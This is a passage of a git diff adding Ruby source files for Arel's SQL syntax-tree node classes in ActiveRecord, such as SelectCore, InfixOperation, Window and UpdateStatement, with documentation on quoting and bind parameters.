+        expr.fetch_attribute(&block)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/homogeneous_in.rb b/activerecord/lib/arel/nodes/homogeneous_in.rb
new file mode 100644
index 0000000000000..c67d9acf9f91c
--- /dev/null
+++ b/activerecord/lib/arel/nodes/homogeneous_in.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class HomogeneousIn < Node
+      attr_reader :attribute, :values, :type
+
+      def initialize(values, attribute, type)
+        @values = values
+        @attribute = attribute
+        @type = type
+      end
+
+      def hash
+        ivars.hash
+      end
+
+      def eql?(other)
+        super || (self.class == other.class && self.ivars == other.ivars)
+      end
+      alias :== :eql?
+
+      def equality?
+        type == :in
+      end
+
+      def invert
+        Arel::Nodes::HomogeneousIn.new(values, attribute, type == :in ? :notin : :in)
+      end
+
+      def left
+        attribute
+      end
+
+      def right
+        attribute.quoted_array(values)
+      end
+
+      def casted_values
+        type = attribute.type_caster
+
+        casted_values = values.map do |raw_value|
+          type.serialize(raw_value) if type.serializable?(raw_value)
+        end
+
+        casted_values.compact!
+        casted_values
+      end
+
+      def proc_for_binds
+        -> value { ActiveModel::Attribute.with_cast_value(attribute.name, value, ActiveModel::Type.default_value) }
+      end
+
+      def fetch_attribute(&block)
+        if attribute
+          yield attribute
+        else
+          expr.fetch_attribute(&block)
+        end
+      end
+
+      protected
+        def ivars
+          [@attribute, @values, @type]
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/in.rb b/activerecord/lib/arel/nodes/in.rb
new file mode 100644
index 0000000000000..2154bc6e3aaa5
--- /dev/null
+++ b/activerecord/lib/arel/nodes/in.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class In < Arel::Nodes::Binary
+      include FetchAttribute
+
+      def equality?; true; end
+
+      def invert
+        Arel::Nodes::NotIn.new(left, right)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/infix_operation.rb b/activerecord/lib/arel/nodes/infix_operation.rb
new file mode 100644
index 0000000000000..462870d13d0fa
--- /dev/null
+++ b/activerecord/lib/arel/nodes/infix_operation.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class InfixOperation < Binary
+      include Arel::Expressions
+      include Arel::Predications
+      include Arel::OrderPredications
+      include Arel::AliasPredication
+      include Arel::Math
+
+      attr_reader :operator
+
+      def initialize(operator, left, right)
+        super(left, right)
+        @operator = operator
+      end
+    end
+
+    class Multiplication < InfixOperation
+      def initialize(left, right)
+        super(:*, left, right)
+      end
+    end
+
+    class Division < InfixOperation
+      def initialize(left, right)
+        super(:/, left, right)
+      end
+    end
+
+    class Addition < InfixOperation
+      def initialize(left, right)
+        super(:+, left, right)
+      end
+    end
+
+    class Subtraction < InfixOperation
+      def initialize(left, right)
+        super(:-, left, right)
+      end
+    end
+
+    class Concat < InfixOperation
+      def initialize(left, right)
+        super(:"||", left, right)
+      end
+    end
+
+    class Contains < InfixOperation
+      def initialize(left, right)
+        super(:"@>", left, right)
+      end
+    end
+
+    class Overlaps < InfixOperation
+      def initialize(left, right)
+        super(:"&&", left, right)
+      end
+    end
+
+    class BitwiseAnd < InfixOperation
+      def initialize(left, right)
+        super(:&, left, right)
+      end
+    end
+
+    class BitwiseOr < InfixOperation
+      def initialize(left, right)
+        super(:|, left, right)
+      end
+    end
+
+    class BitwiseXor < InfixOperation
+      def initialize(left, right)
+        super(:^, left, right)
+      end
+    end
+
+    class BitwiseShiftLeft < InfixOperation
+      def initialize(left, right)
+        super(:<<, left, right)
+      end
+    end
+
+    class BitwiseShiftRight < InfixOperation
+      def initialize(left, right)
+        super(:>>, left, right)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/inner_join.rb b/activerecord/lib/arel/nodes/inner_join.rb
new file mode 100644
index 0000000000000..519fafad09cb4
--- /dev/null
+++ b/activerecord/lib/arel/nodes/inner_join.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class InnerJoin < Arel::Nodes::Join
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/insert_statement.rb b/activerecord/lib/arel/nodes/insert_statement.rb
new file mode 100644
index 0000000000000..fdfc179e6633f
--- /dev/null
+++ b/activerecord/lib/arel/nodes/insert_statement.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class InsertStatement < Arel::Nodes::Node
+      attr_accessor :relation, :columns, :values, :select
+
+      def initialize(relation = nil)
+        super()
+        @relation = relation
+        @columns  = []
+        @values   = nil
+        @select   = nil
+      end
+
+      def initialize_copy(other)
+        super
+        @columns = @columns.clone
+        @values =  @values.clone if @values
+        @select =  @select.clone if @select
+      end
+
+      def hash
+        [@relation, @columns, @values, @select].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.relation == other.relation &&
+          self.columns == other.columns &&
+          self.select == other.select &&
+          self.values == other.values
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/join_source.rb b/activerecord/lib/arel/nodes/join_source.rb
new file mode 100644
index 0000000000000..d65a9e66934f7
--- /dev/null
+++ b/activerecord/lib/arel/nodes/join_source.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    ###
+    # Class that represents a join source
+    #
+    #   https://www.sqlite.org/syntaxdiagrams.html#join-source
+
+    class JoinSource < Arel::Nodes::Binary
+      def initialize(single_source, joinop = [])
+        super
+      end
+
+      def empty?
+        !left && right.empty?
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/leading_join.rb b/activerecord/lib/arel/nodes/leading_join.rb
new file mode 100644
index 0000000000000..339cf12f6eff8
--- /dev/null
+++ b/activerecord/lib/arel/nodes/leading_join.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class LeadingJoin < Arel::Nodes::InnerJoin
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/matches.rb b/activerecord/lib/arel/nodes/matches.rb
new file mode 100644
index 0000000000000..fd5734f4bdbc5
--- /dev/null
+++ b/activerecord/lib/arel/nodes/matches.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Matches < Binary
+      attr_reader :escape
+      attr_accessor :case_sensitive
+
+      def initialize(left, right, escape = nil, case_sensitive = false)
+        super(left, right)
+        @escape = escape && Nodes.build_quoted(escape)
+        @case_sensitive = case_sensitive
+      end
+    end
+
+    class DoesNotMatch < Matches; end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/named_function.rb b/activerecord/lib/arel/nodes/named_function.rb
new file mode 100644
index 0000000000000..02ec93aef3e61
--- /dev/null
+++ b/activerecord/lib/arel/nodes/named_function.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class NamedFunction < Arel::Nodes::Function
+      attr_accessor :name
+
+      def initialize(name, expr)
+        super(expr)
+        @name = name
+      end
+
+      def hash
+        super ^ @name.hash
+      end
+
+      def eql?(other)
+        super && self.name == other.name
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/nary.rb b/activerecord/lib/arel/nodes/nary.rb
new file mode 100644
index 0000000000000..bfd058be770b7
--- /dev/null
+++ b/activerecord/lib/arel/nodes/nary.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Nary < Arel::Nodes::NodeExpression
+      attr_reader :children
+
+      def initialize(children)
+        super()
+        @children = children
+      end
+
+      def left
+        children.first
+      end
+
+      def right
+        children[1]
+      end
+
+      def fetch_attribute(&block)
+        children.any? && children.all? { |child| child.fetch_attribute(&block) }
+      end
+
+      def hash
+        [self.class, children].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.children == other.children
+      end
+      alias :== :eql?
+    end
+
+    And = Class.new(Nary)
+    Or = Class.new(Nary)
+  end
+end
diff --git a/activerecord/lib/arel/nodes/node.rb b/activerecord/lib/arel/nodes/node.rb
new file mode 100644
index 0000000000000..8edf88824471a
--- /dev/null
+++ b/activerecord/lib/arel/nodes/node.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    # = Using +Arel::Nodes::Node+
+    #
+    # Active Record uses Arel to compose SQL statements. Instead of building SQL strings directly, it's building an
+    # abstract syntax tree (AST) of the statement using various types of Arel::Nodes::Node. Each node represents a
+    # fragment of an SQL statement.
+    #
+    # The intermediate representation allows Arel to compile the statement into the database's specific SQL dialect
+    # only before sending it without having to care about the nuances of each database when building the statement.
+    # It also allows easier composition of statements without having to resort to (brittle and unsafe) string manipulation.
+    #
+    # == Building constraints
+    #
+    # One of the most common use cases of Arel is generating constraints for +SELECT+ statements. To help with that,
+    # most nodes include a couple of useful factory methods to create subtree structures for common constraints. For
+    # a full list of those, please refer to Arel::Predications.
+    #
+    # The following example creates an equality constraint where the value of the name column on the users table
+    # matches the value DHH.
+    #
+    #   users = Arel::Table.new(:users)
+    #   constraint = users[:name].eq("DHH")
+    #
+    #   # => Arel::Nodes::Equality.new(
+    #   #      Arel::Attributes::Attribute.new(users, "name"),
+    #   #      Arel::Nodes::Casted.new(
+    #   #        "DHH",
+    #   #        Arel::Attributes::Attribute.new(users, "name")
+    #   #      )
+    #   #    )
+    #
+    # The resulting SQL fragment will look like this:
+    #
+    #   "users"."name" = 'DHH'
+    #
+    # The constraint fragments can be used with regular ActiveRecord::Relation objects instead of a Hash. The
+    # following two examples show two ways of creating the same query.
+    #
+    #   User.where(name: 'DHH')
+    #
+    #   # SELECT "users".* FROM "users" WHERE "users"."name" = 'DHH'
+    #
+    #   users = User.arel_table
+    #
+    #   User.where(users[:name].eq('DHH'))
+    #
+    #   # SELECT "users".* FROM "users" WHERE "users"."name" = 'DHH'
+    #
+    # == Functions
+    #
+    # Arel comes with built-in support for SQL functions like +COUNT+, +SUM+, +MIN+, +MAX+, and +AVG+. The
+    # Arel::Expressions module includes factory methods for the default functions.
+    #
+    #   employees = Employee.arel_table
+    #
+    #   Employee.select(employees[:department_id], employees[:salary].average).group(employees[:department_id])
+    #
+    #   # SELECT "employees"."department_id", AVG("employees"."salary")
+    #   #   FROM "employees" GROUP BY "employees"."department_id"
+    #
+    # It’s also possible to use custom functions by using the Arel::Nodes::NamedFunction node type. It accepts a
+    # function name and an array of parameters.
+    #
+    #   Arel::Nodes::NamedFunction.new('date_trunc', [Arel::Nodes.build_quoted('day'), User.arel_table[:created_at]])
+    #
+    #   # date_trunc('day', "users"."created_at")
+    #
+    # == Quoting & bind params
+    #
+    # Values that you pass to Arel nodes need to be quoted or wrapped in bind params. This ensures they are properly
+    # converted into the correct format without introducing a possible SQL injection vulnerability. Most factory
+    # methods (like +eq+, +gt+, +lteq+, …) quote passed values automatically. When not using a factory method, it’s
+    # possible to convert a value and wrap it in an Arel::Nodes::Quoted node (if necessary) by calling +Arel::Nodes.
+    # build_quoted+.
+    #
+    #   Arel::Nodes.build_quoted("foo") # 'foo'
+    #   Arel::Nodes.build_quoted(12.3)  # 12.3
+    #
+    # Instead of quoting values and embedding them directly in the SQL statement, it’s also possible to create bind
+    # params. This keeps the actual values outside of the statement and allows using the prepared statement feature
+    # of some databases.
+    #
+    #   attribute = ActiveRecord::Relation::QueryAttribute.new(:name, "DHH", ActiveRecord::Type::String.new)
+    #   Arel::Nodes::BindParam.new(attribute)
+    #
+    # When ActiveRecord runs the query, bind params are replaced by placeholders (like +$1+) and the values are passed
+    # separately.
+    #
+    # == SQL Literals
+    #
+    # For cases where there is no way to represent a particular SQL fragment using Arel nodes, you can use an SQL
+    # literal. SQL literals are strings that Arel will treat “as is�.
+    #
+    #   Arel.sql('LOWER("users"."name")').eq('dhh')
+    #
+    #   # LOWER("users"."name") = 'dhh'
+    #
+    # Please keep in mind that passing data as raw SQL literals might introduce a possible SQL injection. However,
+    # `Arel.sql` supports binding parameters which will ensure proper quoting. This can be useful when you need to
+    # control the exact SQL you run, but you still have potentially user-supplied values.
+    #
+    #   Arel.sql('LOWER("users"."name") = ?', 'dhh')
+    #
+    #   # LOWER("users"."name") = 'dhh'
+    #
+    # You can also combine SQL literals.
+    #
+    #   sql = Arel.sql('SELECT * FROM "users" WHERE ')
+    #   sql += Arel.sql('LOWER("users"."name") = :name', name: 'dhh')
+    #   sql += Arel.sql('AND "users"."age" > :age', age: 35)
+    #
+    #   # SELECT * FROM "users" WHERE LOWER("users"."name") = 'dhh' AND "users"."age" > '35'
+    class Node
+      include Arel::FactoryMethods
+
+      ###
+      # Factory method to create a Nodes::Not node that has the recipient of
+      # the caller as a child.
+      def not
+        Nodes::Not.new self
+      end
+
+      ###
+      # Factory method to create a Nodes::Grouping node that has an Nodes::Or
+      # node as a child.
+      def or(right)
+        Nodes::Grouping.new Nodes::Or.new([self, right])
+      end
+
+      ###
+      # Factory method to create an Nodes::And node.
+      def and(right)
+        Nodes::And.new [self, right]
+      end
+
+      def invert
+        Arel::Nodes::Not.new(self)
+      end
+
+      # FIXME: this method should go away.  I don't like people calling
+      # to_sql on non-head nodes.  This forces us to walk the AST until we
+      # can find a node that has a "relation" member.
+      #
+      # Maybe we should just use `Table.engine`?  :'(
+      def to_sql(engine = Table.engine)
+        collector = Arel::Collectors::SQLString.new
+        engine.with_connection do |connection|
+          connection.visitor.accept(self, collector).value
+        end
+      end
+
+      def fetch_attribute(&)
+      end
+
+      def equality?; false; end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/node_expression.rb b/activerecord/lib/arel/nodes/node_expression.rb
new file mode 100644
index 0000000000000..cbcfaba37c96a
--- /dev/null
+++ b/activerecord/lib/arel/nodes/node_expression.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class NodeExpression < Arel::Nodes::Node
+      include Arel::Expressions
+      include Arel::Predications
+      include Arel::AliasPredication
+      include Arel::OrderPredications
+      include Arel::Math
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/ordering.rb b/activerecord/lib/arel/nodes/ordering.rb
new file mode 100644
index 0000000000000..b09ce2b9e72bf
--- /dev/null
+++ b/activerecord/lib/arel/nodes/ordering.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Ordering < Unary
+      def nulls_first
+        NullsFirst.new(self)
+      end
+
+      def nulls_last
+        NullsLast.new(self)
+      end
+    end
+
+    class NullsFirst < Ordering
+      def reverse
+        NullsLast.new(expr.reverse)
+      end
+    end
+
+    class NullsLast < Ordering
+      def reverse
+        NullsFirst.new(expr.reverse)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/outer_join.rb b/activerecord/lib/arel/nodes/outer_join.rb
new file mode 100644
index 0000000000000..0a3042be619fa
--- /dev/null
+++ b/activerecord/lib/arel/nodes/outer_join.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class OuterJoin < Arel::Nodes::Join
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/over.rb b/activerecord/lib/arel/nodes/over.rb
new file mode 100644
index 0000000000000..91176764a907e
--- /dev/null
+++ b/activerecord/lib/arel/nodes/over.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Over < Binary
+      include Arel::AliasPredication
+
+      def initialize(left, right = nil)
+        super(left, right)
+      end
+
+      def operator; "OVER" end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/regexp.rb b/activerecord/lib/arel/nodes/regexp.rb
new file mode 100644
index 0000000000000..7c2509556932c
--- /dev/null
+++ b/activerecord/lib/arel/nodes/regexp.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Regexp < Binary
+      attr_accessor :case_sensitive
+
+      def initialize(left, right, case_sensitive = true)
+        super(left, right)
+        @case_sensitive = case_sensitive
+      end
+    end
+
+    class NotRegexp < Regexp; end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/right_outer_join.rb b/activerecord/lib/arel/nodes/right_outer_join.rb
new file mode 100644
index 0000000000000..04ed4aaa7815a
--- /dev/null
+++ b/activerecord/lib/arel/nodes/right_outer_join.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class RightOuterJoin < Arel::Nodes::Join
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/select_core.rb b/activerecord/lib/arel/nodes/select_core.rb
new file mode 100644
index 0000000000000..a9bc7986d0fde
--- /dev/null
+++ b/activerecord/lib/arel/nodes/select_core.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class SelectCore < Arel::Nodes::Node
+      attr_accessor :projections, :wheres, :groups, :windows, :comment
+      attr_accessor :havings, :source, :set_quantifier, :optimizer_hints
+
+      def initialize(relation = nil)
+        super()
+        @source = JoinSource.new(relation)
+
+        # https://ronsavage.github.io/SQL/sql-92.bnf.html#set%20quantifier
+        @set_quantifier  = nil
+        @optimizer_hints = nil
+        @projections     = []
+        @wheres          = []
+        @groups          = []
+        @havings         = []
+        @windows         = []
+        @comment         = nil
+      end
+
+      def from
+        @source.left
+      end
+
+      def from=(value)
+        @source.left = value
+      end
+
+      alias :froms= :from=
+      alias :froms :from
+
+      def initialize_copy(other)
+        super
+        @source      = @source.clone if @source
+        @projections = @projections.clone
+        @wheres      = @wheres.clone
+        @groups      = @groups.clone
+        @havings     = @havings.clone
+        @windows     = @windows.clone
+      end
+
+      def hash
+        [
+          @source, @set_quantifier, @projections, @optimizer_hints,
+          @wheres, @groups, @havings, @windows, @comment
+        ].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.source == other.source &&
+          self.set_quantifier == other.set_quantifier &&
+          self.optimizer_hints == other.optimizer_hints &&
+          self.projections == other.projections &&
+          self.wheres == other.wheres &&
+          self.groups == other.groups &&
+          self.havings == other.havings &&
+          self.windows == other.windows &&
+          self.comment == other.comment
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/select_statement.rb b/activerecord/lib/arel/nodes/select_statement.rb
new file mode 100644
index 0000000000000..ad2162b5417dc
--- /dev/null
+++ b/activerecord/lib/arel/nodes/select_statement.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class SelectStatement < Arel::Nodes::NodeExpression
+      attr_reader :cores
+      attr_accessor :limit, :orders, :lock, :offset, :with
+
+      def initialize(relation = nil)
+        super()
+        @cores          = [SelectCore.new(relation)]
+        @orders         = []
+        @limit          = nil
+        @lock           = nil
+        @offset         = nil
+        @with           = nil
+      end
+
+      def initialize_copy(other)
+        super
+        @cores  = @cores.map { |x| x.clone }
+        @orders = @orders.map { |x| x.clone }
+      end
+
+      def hash
+        [@cores, @orders, @limit, @lock, @offset, @with].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.cores == other.cores &&
+          self.orders == other.orders &&
+          self.limit == other.limit &&
+          self.lock == other.lock &&
+          self.offset == other.offset &&
+          self.with == other.with
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/sql_literal.rb b/activerecord/lib/arel/nodes/sql_literal.rb
new file mode 100644
index 0000000000000..2e2e9384ccfb5
--- /dev/null
+++ b/activerecord/lib/arel/nodes/sql_literal.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class SqlLiteral < String
+      include Arel::Expressions
+      include Arel::Predications
+      include Arel::AliasPredication
+      include Arel::OrderPredications
+
+      attr_reader :retryable
+
+      def initialize(string, retryable: false)
+        @retryable = retryable
+        super(string)
+      end
+
+      def encode_with(coder)
+        coder.scalar = self.to_s
+      end
+
+      def fetch_attribute(&)
+      end
+
+      def +(other)
+        raise ArgumentError, "Expected Arel node" unless Arel.arel_node?(other)
+
+        Fragments.new([self, other])
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/string_join.rb b/activerecord/lib/arel/nodes/string_join.rb
new file mode 100644
index 0000000000000..86027fcab77ba
--- /dev/null
+++ b/activerecord/lib/arel/nodes/string_join.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class StringJoin < Arel::Nodes::Join
+      def initialize(left, right = nil)
+        super
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/table_alias.rb b/activerecord/lib/arel/nodes/table_alias.rb
new file mode 100644
index 0000000000000..969b2705ac974
--- /dev/null
+++ b/activerecord/lib/arel/nodes/table_alias.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class TableAlias < Arel::Nodes::Binary
+      alias :name :right
+      alias :relation :left
+      alias :table_alias :name
+
+      def [](name)
+        relation.is_a?(Table) ? relation[name, self] : Attribute.new(self, name)
+      end
+
+      def table_name
+        relation.respond_to?(:name) ? relation.name : name
+      end
+
+      def type_cast_for_database(attr_name, value)
+        relation.type_cast_for_database(attr_name, value)
+      end
+
+      def type_for_attribute(name)
+        relation.type_for_attribute(name)
+      end
+
+      def able_to_type_cast?
+        relation.respond_to?(:able_to_type_cast?) && relation.able_to_type_cast?
+      end
+
+      def to_cte
+        Arel::Nodes::Cte.new(name, relation)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/terminal.rb b/activerecord/lib/arel/nodes/terminal.rb
new file mode 100644
index 0000000000000..d84c453f1afba
--- /dev/null
+++ b/activerecord/lib/arel/nodes/terminal.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Distinct < Arel::Nodes::NodeExpression
+      def hash
+        self.class.hash
+      end
+
+      def eql?(other)
+        self.class == other.class
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/true.rb b/activerecord/lib/arel/nodes/true.rb
new file mode 100644
index 0000000000000..c89101296985e
--- /dev/null
+++ b/activerecord/lib/arel/nodes/true.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class True < Arel::Nodes::NodeExpression
+      def hash
+        self.class.hash
+      end
+
+      def eql?(other)
+        self.class == other.class
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/unary.rb b/activerecord/lib/arel/nodes/unary.rb
new file mode 100644
index 0000000000000..cf1eca2831973
--- /dev/null
+++ b/activerecord/lib/arel/nodes/unary.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Unary < Arel::Nodes::NodeExpression
+      attr_accessor :expr
+      alias :value :expr
+
+      def initialize(expr)
+        super()
+        @expr = expr
+      end
+
+      def hash
+        @expr.hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.expr == other.expr
+      end
+      alias :== :eql?
+    end
+
+    %w{
+      Bin
+      Cube
+      DistinctOn
+      Group
+      GroupingElement
+      GroupingSet
+      Lateral
+      Limit
+      Lock
+      Not
+      Offset
+      On
+      OptimizerHints
+      RollUp
+    }.each do |name|
+      const_set(name, Class.new(Unary))
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/unary_operation.rb b/activerecord/lib/arel/nodes/unary_operation.rb
new file mode 100644
index 0000000000000..524282ac84af7
--- /dev/null
+++ b/activerecord/lib/arel/nodes/unary_operation.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class UnaryOperation < Unary
+      attr_reader :operator
+
+      def initialize(operator, operand)
+        super(operand)
+        @operator = operator
+      end
+    end
+
+    class BitwiseNot < UnaryOperation
+      def initialize(operand)
+        super(:~, operand)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/unqualified_column.rb b/activerecord/lib/arel/nodes/unqualified_column.rb
new file mode 100644
index 0000000000000..7c3e0720d7122
--- /dev/null
+++ b/activerecord/lib/arel/nodes/unqualified_column.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class UnqualifiedColumn < Arel::Nodes::Unary
+      alias :attribute :expr
+      alias :attribute= :expr=
+
+      def relation
+        @expr.relation
+      end
+
+      def column
+        @expr.column
+      end
+
+      def name
+        @expr.name
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/update_statement.rb b/activerecord/lib/arel/nodes/update_statement.rb
new file mode 100644
index 0000000000000..0e9938ceef210
--- /dev/null
+++ b/activerecord/lib/arel/nodes/update_statement.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class UpdateStatement < Arel::Nodes::Node
+      attr_accessor :relation, :wheres, :values, :groups, :havings, :orders, :limit, :offset, :comment, :key
+
+      def initialize(relation = nil)
+        super()
+        @relation = relation
+        @wheres   = []
+        @values   = []
+        @groups   = []
+        @havings  = []
+        @orders   = []
+        @limit    = nil
+        @offset   = nil
+        @comment  = nil
+        @key      = nil
+      end
+
+      def initialize_copy(other)
+        super
+        @wheres = @wheres.clone
+        @values = @values.clone
+      end
+
+      def hash
+        [@relation, @wheres, @values, @orders, @limit, @offset, @comment, @key].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.relation == other.relation &&
+          self.wheres == other.wheres &&
+          self.values == other.values &&
+          self.groups == other.groups &&
+          self.havings == other.havings &&
+          self.orders == other.orders &&
+          self.limit == other.limit &&
+          self.offset == other.offset &&
+          self.comment == other.comment &&
+          self.key == other.key
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/values_list.rb b/activerecord/lib/arel/nodes/values_list.rb
new file mode 100644
index 0000000000000..1a9d9ebf01e1d
--- /dev/null
+++ b/activerecord/lib/arel/nodes/values_list.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class ValuesList < Unary
+      alias :rows :expr
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/window.rb b/activerecord/lib/arel/nodes/window.rb
new file mode 100644
index 0000000000000..4916fc7fbe487
--- /dev/null
+++ b/activerecord/lib/arel/nodes/window.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Window < Arel::Nodes::Node
+      attr_accessor :orders, :framing, :partitions
+
+      def initialize
+        @orders = []
+        @partitions = []
+        @framing = nil
+      end
+
+      def order(*expr)
+        # FIXME: We SHOULD NOT be converting these to SqlLiteral automatically
+        @orders.concat expr.map { |x|
+          String === x || Symbol === x ? Nodes::SqlLiteral.new(x.to_s) : x
+        }
+        self
+      end
+
+      def partition(*expr)
+        # FIXME: We SHOULD NOT be converting these to SqlLiteral automatically
+        @partitions.concat expr.map { |x|
+          String === x || Symbol === x ? Nodes::SqlLiteral.new(x.to_s) : x
+        }
+        self
+      end
+
+      def frame(expr)
+        @framing = expr
+      end
+
+      def rows(expr = nil)
+        if @framing
+          Rows.new(expr)
+        else
+          frame(Rows.new(expr))
+        end
+      end
+
+      def range(expr = nil)
+        if @framing
+          Range.new(expr)
+        else
+          frame(Range.new(expr))
+        end
+      end
+
+      def initialize_copy(other)
+        super
+        @orders = @orders.map { |x| x.clone }
+      end
+
+      def hash
+        [@orders, @framing].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.orders == other.orders &&
+          self.framing == other.framing &&
+          self.partitions == other.partitions
+      end
+      alias :== :eql?
+    end
+
+    class NamedWindow < Window
+      attr_accessor :name
+
+      def initialize(name)
+        super()
+        @name = name
+      end
+
+      def initialize_copy(other)
+        super
+        @name = other.name.clone
+      end
+
+      def hash
+        super ^ @name.hash
+      end
+
+      def eql?(other)
+        super && self.name == other.name
+      end
+      alias :== :eql?
+    end
+
+    class Rows < Unary
+      def initialize(expr = nil)
+        super(expr)
+      end
+    end
+
+    class Range < Unary
+      def initialize(expr = nil)
+        super(expr)
+      end
+    end
+
+    class CurrentRow < Node
+      def hash
+        self.class.hash
+      end
+
+      def eql?(other)
+        self.class == other.class
+      end
+      alias :== :eql?
+    end
+
+    class Preceding < Unary
+      def initialize(expr = nil)
+        super(expr)
+      end
+    end
+
+    class Following < Unary
+      def initialize(expr = nil)
+        super(expr)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/with.rb b/activerecord/lib/arel/nodes/with.rb
new file mode 100644
index 0000000000000..157bdcaa08bcd
--- /dev/null
+++ b/activerecord/lib/arel/nodes/with.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class With < Arel::Nodes::Unary
+      alias children expr
+    end
+
+    class WithRecursive < With; end
+  end
+end
diff --git a/activerecord/lib/arel/order_predications.rb b/activerecord/lib/arel/order_predications.rb
new file mode 100644
index 0000000000000..d785bbba92902
--- /dev/null
+++ b/activerecord/lib/arel/order_predications.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module OrderPredications
+    def asc
+      Nodes::Ascending.new self
+    end
+
+    def desc
+      Nodes::Descending.new self
+    end
